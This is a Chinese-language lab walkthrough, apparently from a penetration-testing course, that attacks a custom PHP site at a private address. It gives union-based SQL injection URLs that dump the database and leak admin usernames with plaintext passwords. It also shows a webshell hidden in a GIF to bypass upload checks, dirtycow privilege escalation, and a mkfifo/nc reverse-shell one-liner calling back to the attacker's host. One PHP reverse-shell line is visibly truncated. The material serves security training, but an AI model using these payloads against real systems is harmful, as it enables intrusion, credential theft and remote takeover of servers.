命令:nmap -sn 192.168.85.0/24
命令:nmap -sV -sC -sT -p- 192.168.85.131
- 通过浏览网页信息,发现不是cms,是自己写的网站 ——> 扫描工具、扫描目标,根据网页上的功能做测试点;
- 可以针对服务进行攻击;
正确URL:http://192.168.85.131/storypage_04.php?id=115
加了双引号的URL:http://192.168.85.131/storypage_04.php?id=115’’
1.1> 通过order by 命令来判断当前表的列数为13;
1.2> 通过 union 联合查询来知道显示的列数是什么位置;
URL:http://192.168.85.131/storypage_04.php?id=-115%20union%20select%20111,222,333,444,555,666,777,888,999,1010,1111,1212,1313
1.3> 通过union注入点获取数据库和系统的相关信息;
YRL:http://192.168.85.131/storypage_04.php?id=-115%20union%20select%20version(),database(),3,4,5,6,@@basedir,8,9,10,11,@@datadir,13
通过注入我们得到相关信息总结:
数据库名 ——> tici
当前用户 ——> member@loaclhost
数据库版本 ——> 5.5.28
系统版本 ——> ubuntu
数据库安装位置 ——> /var/lib/mysql
系统信息——> debian-linux-gnu x86_64
secure_file_prive ——> 空
URL: http://192.168.85.131/storypage_04.php?id=-115%20union%20select%20load_file(%22/etc/passwd%22),2,3,4,5,6,7,8,9,10,11,12,13
URL:http://192.168.85.131/storypage_04.php?id=-115%20union%20select%201,2,3,4,5,6,%27%3C?php%20phpinfo()?%3E%27,8,9,10,11,12,13%20into%20outfile%20%22/var/www/aaa.php%22
注释:select * from Table into outfile ‘/路径/文件名’
SELECT INTO…OUTFILE语句把表数据导出到一个文本文件中,并用LOAD DATA …INFILE语句恢复数据。但是这种方法只能导出或导入数据的内容,不包括表的结构,如果表的结构文件损坏,则必须先恢复原来的表的结构。
4.1> 利用SQL注入出所有数据库名;
URL:http://192.168.85.131/storypage_04.php?id=-115%20union%20select%20group_concat(schema_name),2,3,4,5,6,7,8,9,10,11,12,13%20from%20information_schema.schemata#
所有数据库名:information_schema,mysql,performance_schema,tcic,test
4.2> 当前数据库为tcic,注出其中的表;
URL:http://192.168.85.131/storypage_04.php?id=-115%20union%20select%20group_concat(char(32),table_name),2,3,4,5,6,7,8,9,10,11,12,13%20from%20information_schema.tables%20where%20table_schema=database()
conference, tcic_account, tcic_act, tcic_banner, tcic_edm, tcic_epaper, tcic_link, tcic_media, tcic_member, tcic_news, tcic_op_log, tcic_rent, tcic_rent_place, tcic_rent_rec, tcic_rent_seq, tcic_show, tcic_store_info, tcic_video
4.3> 注出tcic_account表的所有字段值名;
URL: http://192.168.85.131/storypage_04.php?id=-115%20union%20select%20group_concat(char(32),column_name),2,3,4,5,6,7,8,9,10,11,12,13%20from%20information_schema.columns%20where%20table_name=%22tcic_account%22
tcic_account表所有字段名:id, level, account, password, name, tel, company, active, createdate, createaccount, updateaccount, lastupdate
4.4> 通过union注出 account和password字段里面的所有的数据;
URL:http://192.168.85.131/storypage_04.php?id=-115%20union%20select%20group_concat(char(32),account,char(61),name,char(61),id),2,3,4,5,6,group_concat(char(32),password),8,9,10,11,12,13%20from%20tcic_account
用户名: admin=管理者=1, Shelly=劉瑋伶=15, Maggie=鄧名君=16, Peggy=黃姵綺=14, Fina=林秀芬=13, sccp=工讀生專用=18
密码: 27651388, shelly67, 0000, 27651388, 27651388, 27651388
我们前面通过SQL注入shell木马不能够成功。但是在这里我们得到了管理员用户和密码,我们尝试使用目录扫描得到后台登录界面,进行后台操作。
1.1> 存在sql注入,尝试万能密码;
1.2> 尝试利用sql注入得到的密码登录;
- 后台管理系统的“首页管理系统”功能中的“新增大图”存在任意文件上传漏洞,可以直接上传PHP文件,但是该上传功能会检测图片格式,所以需要将一句话木马1.php附加在正常的gif图片gif.gif的后面。
- 打开命令提示符cmd,使用cd切换到一句话木马和gif图片所在的目录,使用如下命令即可生成一个可上传的一句话木马one.php:copy gif.gif/b+1.php/a one.php
- 在后台管理系统的“首页管理系统”中,点击“新增大图”按钮,选择one.php上传,可以上传成功,在列表中找到刚刚上传的那条,点击“编辑”,可以看到刚刚上传的“图片”,在图片上点击右键,可查看该“图片”的链接地址,可以看到是以php为后缀名的,说明一句话木马上传成功,一句话木马的URL形式类似于:http://10.10.20.101/back/upload/banner_62.php
将一句话木马的链接添加到caidao即可得到webshell
1.1> 首先上传正常图片成功;
位置:http://192.168.85.131/back/content.php——> 首页管理系统 ——> 点击“新增大图” 后,进行图片添加
1.2> 尝试文件类型绕过Content-Type;
如果服务器端代码是通过Content-Type的值来判断文件的类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户端传递的,是可以任意修改的。所以当上传一个PHP文件时,在Burp Suite中将Content-Type修改为image/jpeg,就可以绕过服务端的检测。
通过写入一句话木马: 后测试有没有存在漏洞。
1.3> 上传图片码,测试上传成功与否
(1)首先下载网站上比较小的gif或者jpg,然后制作图片马;
#在cmd中通过:copy tp.gif/b+ceshi/a aaaa.php ——> 注意可以多进行几次这种操作的,防止出现编码错误的。
注意:
- 图片选择几KB大小的(如果网上找不见直接从peixun后台粘贴一张就好了的),并且将一句话木马多写几次,防止被编码出现错误的。——> 具体操作可以参考后边的1.4>。
(2)上传图片码,并进行测试成功与否;
1.4> 制作蚁剑连接的图片码,并且上传该图片码;
木马病毒:
(1)首先下载网站上比较小的gif或者jpg,然后制作图片马;
(2)上传制作的图片木马到后台管理系统;
可以发现已经上传成功!!!
1.2> 通过蚁剑进行连接,得到webshell;
命令:(www-data:/tmp)$ ./linux.sh
4.1> 从github上面下载dirtycow;
命令:git clone https://github.com/FireFart/dirtycow
上面下载这个用gcc不能编译,我最后使用的是老师给的dirty.c的文件,进行编译的;
4.3> 按照脏牛提权说明,对dirtycow进行gcc编译;
4.4> 进行gcc编译;
通过菜刀的操作我们到此为止!!!
这里注意我们在使用菜刀、蚁剑或者冰蝎进行提权的时候有问题,所以我们选择第二种方法,通过上传php反弹脚本,在kali上通过nc命令监听的办法,进行反弹shell 的操作!!!
1.1> 选择图片(我们这里直接石村源网站下载的图片),并且写反弹shell的一句脚本;
php反弹shell的脚本为:&3 2>&3");?>
注意:这里写错了kali的IP是:192.168.85.139
1.2> 通过cmd命令制作图片码;
1.3> 上传图片码;
这个我做失败了,理论上应该成功的!!!
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.85.139 9000 >/tmp/f